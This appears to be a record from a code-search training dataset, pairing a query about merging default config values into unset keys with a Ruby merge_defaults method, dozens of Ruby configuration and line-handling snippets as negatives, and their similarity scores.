"def k8s_config_map(path)\n \"|\\n\" +\n ERB.new(File.read(Pathname(@_curr_file).dirname + path)).result(binding).split(\"\\n\").map do |line|\n \" \" + line + \"\\n\"\n end.join('')\n end",
"def ssh_config\n ENTRIES.inject([]) { |out, keyvalue|\n host, keywords = keyvalue\n out << [\n 'Host ' + host,\n keywords.inject([]) do |subout, subkeyvalue|\n key, value = subkeyvalue\n subout << \"#{INDENT}#{key.to_s}#{SEPARATOR}#{value.to_s}\"\n end\n ]\n }.join(\"\\n\")\nend",
"def escape_ini_value(value)\n value = value.to_s.dup\n value.gsub!(%r/\\\\([0nrt])/, '\\\\\\\\\\1')\n value.gsub!(%r/\\n/, '\\n')\n value.gsub!(%r/\\r/, '\\r')\n value.gsub!(%r/\\t/, '\\t')\n value.gsub!(%r/\\0/, '\\0')\n value\n end",
"def config_content(tparam, tvalue)\n fparam = tparam.split('_').map { |e|\n case e\n when 'backuppc'\n 'BackupPC'\n when 'email'\n 'EMail'\n when 'url', 'mmdd'\n e.upcase\n else\n e.capitalize\n end\n }.join\n\n fvalue = case tvalue\n when FalseClass, TrueClass\n tvalue ? 1 : 0\n else\n Regexp.escape(PP.pp(tvalue, '').chomp.tr('\"', \"'\"))\n end\n\n %r{^\\$Conf{#{fparam}}\\s+=\\s+#{fvalue};}m\nend",
"def node_text( value, block = nil )\n @seq_map = false\n\t\t\tvalx = value.dup\n unless block\n block =\n if options(:UseBlock)\n '|'\n elsif not options(:UseFold) and valx =~ /\\n[ \\t]/ and not valx =~ /#{YAML::ESCAPE_CHAR}/\n '|'\n else\n '>'\n end \n\n indt = $&.to_i if block =~ /\\d+/\n if valx =~ /(\\A\\n*[ \\t#]|^---\\s+)/\n indt = options(:Indent) unless indt.to_i > 0\n block += indt.to_s\n end\n\n block +=\n if valx =~ /\\n\\Z\\n/\n \"+\"\n elsif valx =~ /\\Z\\n/\n \"\"\n else\n \"-\"\n end\n end\n block += \"\\n\"\n if block[0] == ?\"\n esc_skip = ( \"\\t\\n\" unless valx =~ /^[ \\t]/ ) || \"\"\n valx = fold( YAML::escape( valx, esc_skip ) + \"\\\"\" ).chomp\n self << '\"' + indent_text( valx, indt, false )\n else\n if block[0] == ?> \n valx = fold( valx ) \n end\n #p [block, indt]\n self << block + indent_text( valx, indt )\n end\n\t\tend",
"def getLine (key)\n lines = \n {\n \"N\": [\"Times Square\", \"34th\", \"28th\", \"23rd\", \"Union Square\", \"8th\"],\n \"L\": [\"8th\", \"6th\", \"Union Square\", \"3rd\", \"1st\"],\n \"6\": [\"Grand Central\", \"33rd\", \"28th\", \"23rd\", \"Union Square\", \"Astor Place\"]\n }\n return lines[key]\nend",
"def parse_key_value_line(line)\n (key, value) = line.strip.split('=')\n key.strip! if key\n value.strip! if value\n [key, value]\n end",
"def config_set(config_type, var_name, value, uncomment: false)\n file = \"#{@new_app}/config/#{config_type}.yml\"\n # expecting spaces, possible comment character (#), and key: value\n # capture groups\n # 1: entire string from beginning of the line to the key\n # 2: spaces before the key, not including a comment character\n # 3: just the key\n to_replace = /^((\\s*)(?:#\\s*)?(#{var_name}:)).*$/\n # either construct uncomment version of line or leave it as is\n replace_with = uncomment ? \"\\\\2\\\\3 #{value}\" : \"\\\\1 #{value}\"\n\n gsub_file file, to_replace, replace_with\n end",
"def value_on_new_line?\n key.loc.line != value.loc.line\n end",
"def parse_line(line)\n # Remove comment text\n line = strip_comments(line)\n\n # Read key/value pair if one exists in this line\n (key, value) = line.split(\"=\", 2)\n\n if key && value\n # Remove any extra whitespace or line endings\n # and handle any type boolean type conversions\n key = key.strip\n value = convert_booleans(value.strip)\n\n # Save the configuration values in a hash\n @config[key] = value\n end\n end",
"def get_code_multiline(config, node)\n search = node.class <= Array ? node : [node]\n Google::HashUtils.navigate(config, search)\n end",
"def newline; end",
"def _parse_line(line, config_hash, overrides)\n line.strip!\n line = _strip_comment(line)\n\n if line.empty?\n # Nothing to do here\n return\n end\n\n section = _get_section_title(line)\n if section\n _process_section(section, config_hash)\n return\n end\n\n key_value_hash = _get_key_value_hash(line)\n if key_value_hash\n unless $_current_section\n raise 'Key-value pair must be part of a section'\n end\n _process_key_value(key_value_hash, config_hash, overrides)\n return\n end\n\n raise 'Malformed config file: ' << line\n end",
"def string_format\n (command_environment.map do |key, value|\n [key, value].join(\"=\")\n end + [command]).join(\" \")\n end",
"def printf_substitutor(config_key, value)\n arg_c = value.join.scan(/%/).length\n lambda do |*args|\n unless args.length == arg_c\n fail ArgumentError,\n \"Given #{args.length} args, but #{config_key} requires #{arg_c}\"\n end\n # Fill in the parameters\n result = value.map do |line|\n sprintf(line, *args.shift(line.scan(/%/).length))\n end\n preprocess_value(result)\n end\n end",
"def newline_format(options = {})\n content_tag 'span', options[:value].join('<br>'), nil, false\n end",
"def format_config_value(key, value)\n case key.to_sym\n when :daily_scheduled_tasks\n return value.select(&:present?).map(&:to_sym)\n when :feedback_overdue_days, :max_walk_minutes, :maximum_booking_notice\n return value.to_i\n when :require_user_confirmation\n return (value == \"true\")\n when :trapeze_ada_funding_sources\n return value.delete(' ').split(',')\n else\n return value\n end\n end",
"def format_option(format)\n windows? ? \"#{format}\\\\n\" : \"#{format}\\\\\\\\n\"\n end",
"def accept_blank_line blank_line\n @res << \"\\n\"\n end",
"def line_ending\n @line_ending ||= \"\\r\\n\"\n end",
"def submode_config(config_line)\n command = config_line.strip\n @configuration[command]\n end",
"def tokenize_config_value(str)\n str.scan(/([^\"\\s]+)?(?:\"([^\"]+)\")?\\s*/).map(&:join)\n end",
"def l(key, split: false)\n string = ((key.is_a?(Hash) ? key[I18n.locale.to_s] : key) || \"\")\n if split\n string.gsub(/\\n+/, \"<p>\")\n else\n string\n end\n end",
"def print_y_line_beginning(domain, key)\n max_length = determine_maximal_domainvalue_length(domain) + 1\n\n output = determine_y_axis_init(domain, key)\n (max_length - output.length).times { output.concat(\" \") }\n @max_y_indentation = output.length if (@max_y_indentation < output.length)\n print output\n end",
"def lineBreak \n \"lineBreak\" \n end",
"def optimize_indentation(value, amount = 0)\n return \"#{value}\\n\" unless value.is_a?(String)\n \"#{value.strip_heredoc.indent(amount).chomp}\\n\"\n end",
"def optimize_indentation(value, amount = 0)\n return \"#{value}\\n\" unless value.is_a?(String)\n \"#{value.strip_heredoc.indent(amount).chomp}\\n\"\n end",
"def key_substitutor(config_key, value)\n lambda do |**args|\n result = []\n value.each do |line|\n replace = line.scan(/<(\\S+)>/).flatten.map(&:to_sym)\n replace.each do |item|\n line = line.sub(\"<#{item}>\", args[item].to_s) if args.key?(item)\n end\n result.push(line) unless /<\\S+>/.match(line)\n end\n if result.empty?\n fail ArgumentError,\n \"Arguments given to #{config_key} yield empty result\"\n end\n preprocess_value(result)\n end\n end",
"def config_data_lines(data)\n output = []\n first = true\n\n data.to_s.each_line do |line|\n output.append(first ? line : line.prepend(\" \"))\n first = false\n end\n\n output\n end",
"def to_line\n hosts = [hostname, aliases].flatten.join(' ')\n\n comments = \"# #{comment.to_s}\".strip\n comments << \" @#{priority}\" unless priority.nil? || @calculated_priority\n comments = comments.strip\n comments = nil if comments == '#'\n\n [ip_address, hosts, comments].compact.join(\"\\t\").strip\n end",
"def get\n unless key = shift_argument\n error(\"Usage: heroku config:get KEY\\nMust specify KEY.\")\n end\n validate_arguments!\n\n vars = api.get_config_vars(app).body\n key, value = vars.detect {|k,v| k == key}\n if options[:shell] && value\n out = $stdout.tty? ? Shellwords.shellescape(value) : value\n display(\"#{key}=#{out}\")\n else\n display(value.to_s)\n end\n end",
"def dot_key_values(hash)\n hash.map{|k,v| \n \"#{k}=\\\"#{ v.to_s.gsub(/\"/, \"''\" ).gsub(\"\\n\",' ') }\\\"\" \n }.join(', ') rescue \"boh1235: #{$!}\"\n end",
"def lines\n escaped = value.to_s.scan(/(\\\\n|\\\\t|\\\\r)/)\n escaped.empty? ? value.to_s.split(/\\n/, -1) : [value.to_s]\n end",
"def strip_out_command_key(value)\n return value.split(' ').last\nend",
"def has_custom_config(key, value)\n includes(:configurations)\n .where(configurations: { key: key, value: value.to_s })\n end",
"def nl\n @linebreak = true\n end",
"def config_from_raw(raw_config)\n config = Hash.new\n\n raw_config.split(\"\\n\").select { |line| line.match(/:\\s/) }.each do |line|\n key, value = line.split(/:\\s+/)\n config[key] = value\n end\n\n config\nend",
"def gen_raw_line\n return nil unless self.valid?\n line = ''\n data = []\n SUB_STR_ATTRIBUTES.each do |field,field_regex|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n line = \"#{data.join ' ,'}\"\n end\n\n data = []\n BOOL_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n if line == ''\n line += \"#{data.join ','} \"\n else\n line += \",#{data.join ','} \"\n end\n end\n\n data = []\n ARR_STR_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n unless data.empty?\n if line == ''\n line += \"#{data.join ','} \"\n else\n line += \", #{data.join ','} \"\n end\n end\n\n data = []\n STR_ATTRIBUTES.each do |field|\n val = self.raw_getter field\n data.push val if val.nil? == false\n end\n line += data.join ' '\n return line\n end",
"def as_line\n [id, legal_name, name, email, form].join(':')\n end",
"def newline\n log('')\n end",
"def newline\n log('')\n end",
"def middle_line\n border_options.separator ? \"\" : super\n end",
"def build_line(multiplier, products)\n multiplier.to_s + \": \" + products.to_s + \"\\n\"\n end",
"def add_linebreaks(definition)\n definition.gsub(\"\\r\", '<br>')\nend",
"def config_value(pid, key)\n require 'json'\n\n raw_json = `/opt/scripts/CQ-Unix-Toolkit/cqcfg \\\n -u admin \\\n -p admin \\\n -i http://localhost:4502 \\\n -j #{pid}`\n\n out = JSON.parse(raw_json)['properties'][key]['value']\n out = JSON.parse(raw_json)['properties'][key]['values'] if out.nil?\n\n out\n end",
"def config(key)\n %x[git config #{key}].chomp\nend",
"def line_feed\n write_raw \"\\n\"\n end",
"def parse_line_break; end",
"def tokenize_config_value(str); end",
"def normalizes_line_endings\n attributes.fetch(:normalizesLineEndings)\n end",
"def adjust(val)\n val.gsub!(/\\n/, ' ')\n val.strip!\n end",
"def default_separator; end",
"def print_interpolation_line(value)\n print_times_blank(10)\n print \"#{create_colored_substrings(value)}\"\n print_times_blank(8)\n puts \"(#{value.round(3)})\"\n nil\n end",
"def GetConfigFieldString\r\n\t\tsParams = ''\r\n\t\tbFirst = true\r\n\t\t\r\n\t\[email protected] do |sKey, sValue|\r\n\t\t\tif bFirst == false\r\n\t\t\t\tsParams += '&'\r\n\t\t\telse\r\n\t\t\t\tbFirst = false\r\n\t\t\tend\r\n\t\t\t\r\n\t\t\tif sValue == true\r\n\t\t\t\tsParams += \"#{self.EncodeConfig(sKey)}=true\"\r\n\t\t\telsif sValue == false\r\n\t\t\t\tsParams += \"#{self.EncodeConfig(sKey)}=false\"\r\n\t\t\telse\r\n\t\t\t\tsParams += \"#{self.EncodeConfig(sKey)}=#{self.EncodeConfig(sValue)}\"\r\n\t\t\tend\r\n\t\tend\r\n\t\t\r\n\t\treturn sParams\r\n\tend",
"def config_value\n @config_value ||= `#{CONFIG_CMD}`\n end",
"def match(key)\n \"#{config.left_delimiter}#{key}#{config.right_delimiter}\"\n end",
"def debug(buffer=\"\", show_source=false, indent=0)\n types = semantic_types.join(', ')\n semvalue = semantic_value.inspect.gsub(/\\n/, '\\n')\n if key_in_parent.nil? \n buffer << \" \"*indent << \"Leaf(#{types})[#{semvalue}]\\n\"\n else\n buffer << \" \"*indent << \":#{key_in_parent} => Leaf(#{types})[#{semvalue}]\\n\"\n end\n buffer\n end",
"def line_one\n return @line_one\n end",
"def address_line\n [address_line1, address_line2].join(' ')\n end",
"def get(key, opts={:sep=>', ', :default=>nil})\n if self.key? key\n val = self[key]\n (val.is_a?(Array) and opts[:sep]) ? val.join(opts[:sep]) : val\n else\n opts[:default]\n end\n end",
"def single_line?; end",
"def value(key, default = nil)\n keys = key.split(\".\")\n r = recurse_config(@full[@env], keys.dup, :key_missing)\n if r == :key_missing\n recurse_config(@full[\"common\"], keys.dup, default)\n else\n r\n end\n end",
"def get_minimal_key(line)\n compute_minimal_keys if not @minimal_keys\n \n str = \"\"\n minimal_keys.each{|k, size|\n str += line.field(k).to_s[0..size]\n }\n return str\n end",
"def set_config(key, value)\n return store(:set, \"configs/#{key}\", value).to_s\n end",
"def configuration\n cfg = {:attribute => @attribute, :delimiter => @delimiter, :value => @value}\n return(cfg)\n end",
"def configuration\n cfg = {:attribute => @attribute, :delimiter => @delimiter, :value => @value}\n return(cfg)\n end",
"def write_config_entry(key, value)\n if $has_config.call then\n curr_config = YAML.load(File.read($config_filename))\n else\n curr_config = {}\n end\n\n curr_config[key] = value\n\n File.open($config_filename, 'w') { |f| f.write(curr_config.to_yaml) }\nend",
"def to_yaml_s\n fail '@key is empty' if \"#{@key}\".empty?\n\n x = \"=== #{@key} ===\\n\"\n x += \"#{(description || 'FIXME: NO DESCRIPTION GIVEN')}\\n\"\n\n # comment every line that describes the item:\n x = x.each_line.map{ |y| \"# #{y}\" }.join\n\n # add yaml (but stripped of frontmatter and first indent)\n # TODO: should we be using SafeYAML? http://danieltao.com/safe_yaml/\n x += { @key => @value }.to_yaml.gsub(/^---\\s*\\n/m, '').gsub(/^ /, '' )\n x += \"\\n\"\n\n if @skip_yaml\n x.gsub( /^/, '### ' )\n else\n x\n end\n end",
"def get_value # rubocop:disable Naming/AccessorMethodName\n value = @subsetting_items.join @subsetting_separator\n @quote_char + value + @quote_char\n end",
"def get_config_line(call_history)\n call_history.first.split(':in').first\n end",
"def yaml_dump(val)\n yml = \"\\n\" + YAML.dump(val)\n yml.gsub(/ +\\n/, \"\\n\")\n end",
"def linebreak(char='')\n puts \"#{char*50}\"\n end",
"def config_body_for(config)\n res = <<-EOH.gsub(/^ +/, '')\n # This file is managed by Chef.\n # Any changes to it will be overwritten.\n EOH\n res << Hash[config.sort].map { |k, v| config_for(k, v) }.compact\n .join(\"\\n\")\n end",
"def line_sep(title=nil); print \"\\n#{title} ----\\n\\n\"; end",
"def line_sep(title=nil); print \"\\n#{title} ----\\n\\n\"; end",
"def config_value_for(key)\n heroku = get_heroku config_value_str(key), hide_stderr: true\n value = `#{heroku.command}`.strip\n value = nil if value == ''\n value\n end"
] | [
"0.6334932",
"0.595716",
"0.55967873",
"0.5538644",
"0.5380671",
"0.5348368",
"0.5344652",
"0.5301884",
"0.52344185",
"0.5225823",
"0.51633716",
"0.513886",
"0.5133486",
"0.512706",
"0.5108123",
"0.5065678",
"0.50303304",
"0.50193423",
"0.50114393",
"0.49856082",
"0.49671972",
"0.4933405",
"0.4930286",
"0.4918874",
"0.49036446",
"0.48831964",
"0.48362857",
"0.480645",
"0.4790564",
"0.47574666",
"0.47317603",
"0.47306558",
"0.4724718",
"0.4697897",
"0.46878502",
"0.46861568",
"0.4664447",
"0.46587664",
"0.46548334",
"0.46531668",
"0.46512455",
"0.46440306",
"0.46419066",
"0.46382964",
"0.46365488",
"0.4631769",
"0.46198764",
"0.46183768",
"0.4618054",
"0.46159992",
"0.46159992",
"0.4611175",
"0.46005124",
"0.45826524",
"0.45780694",
"0.4577063",
"0.45766988",
"0.4566915",
"0.4561936",
"0.45605484",
"0.455018",
"0.45418742",
"0.4541715",
"0.4541579",
"0.4541579",
"0.45384228",
"0.45343542",
"0.45342833",
"0.45110977",
"0.4509711",
"0.4502888",
"0.44938073",
"0.44905993",
"0.44848198",
"0.44768628",
"0.4476205",
"0.44747972",
"0.44699728",
"0.4469866",
"0.44642332",
"0.44608638",
"0.445364",
"0.44487888",
"0.44422624",
"0.44352055",
"0.44299763",
"0.44283783",
"0.4424529",
"0.44222483",
"0.44222483",
"0.44166988",
"0.44098982",
"0.4406935",
"0.44028708",
"0.44023424",
"0.4399357",
"0.43965736",
"0.43920273",
"0.43920273",
"0.43814585"
] | 0.6606757 | 0 |
Returns a new instance of this class where all nil keys are replaced from the specified default config | def merge_defaults(defaults)
result = dup
keys.each do |key|
if !set?(key) && defaults.key?(key)
result.set(key, defaults.get(key))
end
end
result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def default!(defaults = {})\n replace(defaults.merge(self))\n end",
"def initialize\n @config = DEFAULT_CONFIG.deep_dup\n end",
"def default_config\n {}\n end",
"def merge_default(defaults)\n if defaults && !defaults.empty?\n defaults.each do |key, value|\n self[key] = value unless self.key?(key)\n end\n end\n self\n end",
"def default_config\n self.class.config[:default_config].nil? ? {} : {}.merge(self.class.config[:default_config])\n end",
"def configDefaults(config)\n end",
"def merge_with_default(config, config_file, unset_nil:); end",
"def default!\n clear.merge!(defaults)\n end",
"def merge_with_default(config, config_file, unset_nil: T.unsafe(nil)); end",
"def reset\n keys.each do |key|\n instance_variable_set(:\"@#{key}\", defaults[key])\n self\n end\n end",
"def initialize_default_values!\n Marshal.load(Marshal.dump(self.class.default_values)).each do |k, v|\n self[k] ||= v\n end\n end",
"def set_default_values\n self.class.defaults.each do |key, default|\n self[key] ||= default\n end\n end",
"def with_defaults!(other_hash); end",
"def config_default\n lock(:c) do\n @cache[:c][:default] ||= config_new\n end\n end",
"def assign_default(config)\n assign(config, default)\n reset\n config\n end",
"def fill_with(default=nil, keys=nil)\n a = self.clone\n a.fill_with!(default, keys)\n a\n end",
"def default_configuration\n {}\n end",
"def configure_default(defaults, key, *args)\n defaults[key] = args[0] unless args.empty?\n end",
"def with_defaults(defaults); end",
"def apply_default_config\n return unless DEFAULT_CONFIG.is_a?(Hash)\n DEFAULT_CONFIG.each do |k, v|\n apply_config(k, v)\n end\n end",
"def initialize(config, default=Config::BasicAuth)\n check_init(config)\n @config = default.dup.update(config)\n end",
"def with_defaults(other_hash); end",
"def reset!\n configure do |c|\n DEFAULTS.each { |k, v| c.send(\"#{k}=\", v) }\n end\n end",
"def init_default_attributes\n self.config_params ||= DEFAULT_CONFIG_PARAMS\n self.has_inventory = true\n end",
"def default_configuration=(_arg0); end",
"def default(defaults)\n defaults.each do |key, value|\n self.settings[key] = value unless self.settings.key? key\n end\n end",
"def default_config\n config = {}\n config['webhook_url'] = nil\n\n return config\n end",
"def defaults\n {}\n end",
"def default_config\n <<~CONFIG\n defaults: &defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n\n development:\n # <<: *defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n\n test:\n # <<: *defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n\n production:\n # <<: *defaults\n data_root: data\n candidates_root: zzz_candidates\n departed_root: zzz_departed\n project_root: projects\n editor: code\n feedback_polarity_default: positive\n meeting_location_default: alcove\n log_filename: log.adoc\n overview_filename: overview.adoc\n pto_default: vacation\n voip_meeting_default: Zoom\n CONFIG\n end",
"def genPiledDefaultConf(klass = self.class())\n if(klass == WithConfParam) then\n return klass::DefaultConf.dup() ;\n else\n newConf = genPiledDefaultConf(klass.superclass()) ;\n if(klass.const_defined?(:DefaultConf)) \n newConf.update(klass::DefaultConf) ;\n end\n \n return newConf ;\n end\n end",
"def defaults\n {}\n end",
"def defaults\n {}\n end",
"def initial_config\n default_config.deep_merge(@passed_config)\n end",
"def merge_with_default(config, config_file, unset_nil:)\n default_configuration = ConfigLoader.default_configuration\n\n disabled_by_default = config.for_all_cops['DisabledByDefault']\n enabled_by_default = config.for_all_cops['EnabledByDefault']\n\n if disabled_by_default || enabled_by_default\n default_configuration = transform(default_configuration) do |params|\n params.merge('Enabled' => !disabled_by_default)\n end\n end\n\n config = handle_disabled_by_default(config, default_configuration) if disabled_by_default\n\n opts = { inherit_mode: config['inherit_mode'] || {},\n unset_nil: unset_nil }\n Config.new(merge(default_configuration, config, **opts), config_file)\n end",
"def default_config # including inherited defaults \n calling_class = klass = self\n my_defaults = @@default_config[klass.to_s.downcase.to_sym] ||\n HashWithIndifferentAccess.new\n inherited_defaults = HashWithIndifferentAccess.new\n\n until ancestor_class(klass) == NilClass\n ancestor_defaults = @@default_config[ancestor_class(klass).to_s.downcase.to_sym] ||\n HashWithIndifferentAccess.new\n inherited_defaults.merge!(ancestor_defaults)\n klass = ancestor_class(klass)\n end\n inherited_defaults.merge(my_defaults)\n end",
"def default_configuration\n configuration[:_default] || {}\n end",
"def populate_defaults(config)\n new_config = DEFAULT_CEEDLING_CONFIG.deep_clone\n new_config.deep_merge!(config)\n config.replace(new_config)\n\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST )\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST_PREPROCESSORS ) if (config[:project][:use_test_preprocessor])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_TEST_DEPENDENCIES ) if (config[:project][:use_deep_dependencies])\n\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE ) if (config[:project][:release_build])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE_ASSEMBLER ) if (config[:project][:release_build] and config[:release_build][:use_assembly])\n @configurator_builder.populate_defaults( config, DEFAULT_TOOLS_RELEASE_DEPENDENCIES ) if (config[:project][:release_build] and config[:project][:use_deep_dependencies])\n end",
"def defaults\n Hash(@config[:defaults])\n end",
"def default_blacklight_config\n @default_blacklight_config ||= begin\n config = Spotlight::Engine.blacklight_config.deep_copy\n add_exhibit_specific_fields(config)\n config\n end\n end",
"def initialize\n @class_name = default_class_name\n @rename_attrs = default_rename_attrs\n @exclude_attrs_on_create = default_exclude_attrs_on_create\n @exclude_attrs_on_update = default_exclude_attrs_on_update\n @associations = default_associations\n\n ScrapCbfRecord::Match.config = self\n\n super(*configs)\n end",
"def init_default_settings!\n self.class.default_settings.dup.each do |var, vals|\n setting_objects.detect { |s| s.var == var.to_s } || setting_objects.create(var: var.to_s, value: vals, target: self)\n end\n end",
"def defaults\n return @config if @config\n\n @config = Configatron::Store.new\n file_path = File.expand_path('../../../config/xpaths.yml', __FILE__)\n hash_config = YAML::load_file(file_path)\n\n @config.configure_from_hash(hash_config)\n @config.lock!\n @config\n end",
"def init_default_config\n configuration.project_id ||= Debugger.default_project_id\n configuration.credentials ||= Debugger.default_credentials\n configuration.service_name ||= Debugger.default_service_name\n configuration.service_version ||= Debugger.default_service_version\n end",
"def reset\n @options = VALID_OPTIONS_KEYS.inject({}) do |opts, k|\n default_option = OnTheSnow::Config.const_get(\"DEFAULT_#{k.upcase}\")\n self.send(\"#{k}=\", default_option)\n opts[k.to_s] = default_option #unless default_option.nil?\n opts\n end\n self\n end",
"def default_attributes(custom = {})\n {}\n end",
"def default_config\n self.class.default_config\n end",
"def reset_default_fields\n self.cleared_default_fields.each do |k, v|\n self.send(\"#{k}=\", v)\n end\n end",
"def defaults\n parse({})\n end",
"def set_defaults!\n __load_config( DEFAULTS )\n end",
"def set_default_values\n @mappings ||= {}\n @attr_methods ||= []\n @search_mappings ||= {}\n @value_blocks ||= {}\n @missing_blocks ||= {}\n @primary_key ||= :id\n end",
"def initialize(default_key=nil)\n @items = HashWithIndifferentAccess.new { |hash, key| hash[key] = [] }\n @keys = [default_key.to_s].compact\n @items[default_key.to_s] = [] unless default_key.nil?\n end",
"def [](defaults = {})\r\n Hashie::Mash::new(defaults.merge(@options))\r\n end",
"def with_defaults(defaults)\n @hash = defaults.merge(@hash)\n end",
"def override_defaults_based_on_config(config)\n config ||= {}\n config['commands'] ||= {}\n\n override_default(flags,config)\n override_default(switches,config)\n\n commands.each do |command_name,command|\n command_config = config['commands'][command_name] || {}\n\n override_default(command.flags,command_config)\n override_default(command.switches,command_config)\n end\n end",
"def reset\n providers.clear\n configured_providers.each { |k, v| self[k] = v }\n self.default = configured_default\n end",
"def defaults\n self.class.defaults #.merge(@defaults || {})\n end",
"def with_default(default, key)\n assert_explanation(key)\n configured?(key) ? self[key] : default\n end",
"def defaults\n defaults = self[:defaults] || {}\n return defaults if defaults.any?\n options.fetch 'defaults', {}\n end",
"def create_config\n self.config = {} if !self.config\n end",
"def create_config\n self.config = {} if !self.config\n end",
"def load_default_config\n self[:disable_html] ||= true\n self[:url_target] ||= \"_BLANK\"\n self[:image_alt] ||= \"Posted Image\"\n self[:table_width] ||= \"100%\"\n self[:syntax_highlighter] ||= :raw\n self[:coderay_options] ||= {}\n end",
"def slice_with_default(*keys, default: nil)\n\t\t\t\tkeys.each_with_object(::Hash.new) do |k, hash| \n\t\t\t\t\tif has_key?(k) || default == :default_proc\n\t\t\t\t\t\thash[k] = self[k] \n\t\t\t\t\telse\n\t\t\t\t\t\thash[k] = default\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def set_default_attributes\n self.attributes = default_attributes\n self.attributes.each do |key, value|\n # Scrub the attributes if there's no value\n attr_clean!(key) unless value\n end\n end",
"def configured_default\n @options[:default] || default_entry\n end",
"def initialize(kwargs = {})\n super({})\n DEFAULTS.merge(**kwargs).each { |k,v| self[k] = v }\n end",
"def merge_defaults(skin)\n DEFAULTS.each do |k,v|\n skin[k] = v if skin[k].nil?\n end\n end",
"def init_default_config\n configuration.project_id ||= (Cloud.configure.project_id || ErrorReporting::Project.default_project_id)\n configuration.credentials ||= Cloud.configure.credentials\n configuration.service_name ||= ErrorReporting::Project.default_service_name\n configuration.service_version ||= ErrorReporting::Project.default_service_version\n configuration.ignore_classes = Array(configuration.ignore_classes)\n end",
"def merge_with_default(config, config_file, unset_nil: true)\n resolver.merge_with_default(config, config_file, unset_nil: unset_nil)\n end",
"def initialize_copy(orig)\n super\n @config = ConfigHash.new(self, orig.config.store.dup, false)\n end",
"def initialize(defaults,cmd_opts)\n @fields = defaults\n if !cmd_opts[:config_file].nil?\n path = cmd_opts[:config_file]\n else\n path = defaults[:config_file]\n end\n data = YAML.load_file(path)\n # Now combine data:\n # defaults, config file, command line (low->high priority)\n data.each do |k,v|\n if EXPECTED.include? k.to_sym\n @fields[k.to_sym] = v\n else\n STDERR.puts \"Warning: unknown section '#{k}' in config file\"\n end\n end\n cmd_opts.each do |k,v|\n @fields[k] = v\n end\n end",
"def reset\n CONFIGURATION_DEFAULTS.each { |k, v| send(\"#{k}=\", v) }\n self\n end",
"def defaults!; end",
"def defaults!; end",
"def config_or_default(config,key,default)\n (config && config[key] ? config[key] : default)\n end",
"def default(key) end",
"def new(**settings)\n __new_without_defaults__(\n **default_settings.merge(settings)\n )\n end",
"def reset\n self.tap do |c|\n c.base_uri = DEFAULT_BASE_URI\n c.endpoint = DEFAULT_END_POINT\n c.api_secret = DEFAULT_API_SECRET\n c.api_key = DEFAULT_API_KEY\n end\n end",
"def default_settings\n {}\n end",
"def set_conf_default(conf)\n end",
"def set_conf_default(conf)\n end",
"def clear_default_fields\n reset_cleared_default_fields\n self.default_fields.each do |k, v|\n if respond_to?(\"#{k}=\") && unescape(self.send(\"#{k}\")) == unescape(v)\n add_to_cleared_default_fields(k, self.send(\"#{k}\")) and self.send(\"#{k}=\", \"\")\n end\n end\n end",
"def set_defaults\n end",
"def set_defaults\n end",
"def reset_defaults; end",
"def defaults\n super\n end",
"def assign_defaults!(attrs, defaults)\n defaults.each do |key, value|\n key = key.to_s\n\n if attrs[key].nil?\n attrs[key] = value\n end\n end\n end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def default(value = nil)\r\n self.default_params = default_params.merge(value).freeze if value\r\n default_params\r\n end",
"def config\n @default_args || Surrealist::HashUtils::EMPTY_HASH\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end"
] | [
"0.6929436",
"0.6734182",
"0.6635432",
"0.65440416",
"0.65005666",
"0.6454535",
"0.64253783",
"0.64216715",
"0.6393175",
"0.6335105",
"0.63335717",
"0.6316129",
"0.63160366",
"0.63126355",
"0.6299907",
"0.62725574",
"0.6265084",
"0.6259665",
"0.62550896",
"0.6246645",
"0.6233777",
"0.620552",
"0.61795515",
"0.617819",
"0.61651176",
"0.6154079",
"0.6132154",
"0.61055696",
"0.60944957",
"0.6081635",
"0.6075188",
"0.60746485",
"0.605792",
"0.6044478",
"0.6032578",
"0.60246366",
"0.60205066",
"0.60165316",
"0.59874594",
"0.5983565",
"0.5982596",
"0.59815073",
"0.5970188",
"0.5944872",
"0.59373915",
"0.5912837",
"0.5909831",
"0.59055555",
"0.5888713",
"0.58815646",
"0.588021",
"0.5874871",
"0.5859007",
"0.58525485",
"0.58470184",
"0.5844899",
"0.5840827",
"0.5829795",
"0.5827654",
"0.5827654",
"0.5805888",
"0.57748896",
"0.5743246",
"0.5740584",
"0.573766",
"0.5733533",
"0.5726724",
"0.57210207",
"0.57209563",
"0.5713602",
"0.571016",
"0.57053065",
"0.57053065",
"0.57030165",
"0.5693556",
"0.56916463",
"0.56880575",
"0.5671795",
"0.566434",
"0.566434",
"0.56634754",
"0.56622297",
"0.56622297",
"0.5662212",
"0.5660172",
"0.56497663",
"0.5649363",
"0.5649363",
"0.5649363",
"0.5649363",
"0.5649363",
"0.5649363",
"0.5649363",
"0.5649363",
"0.5649363",
"0.5649363",
"0.56450075",
"0.56401914",
"0.56336945",
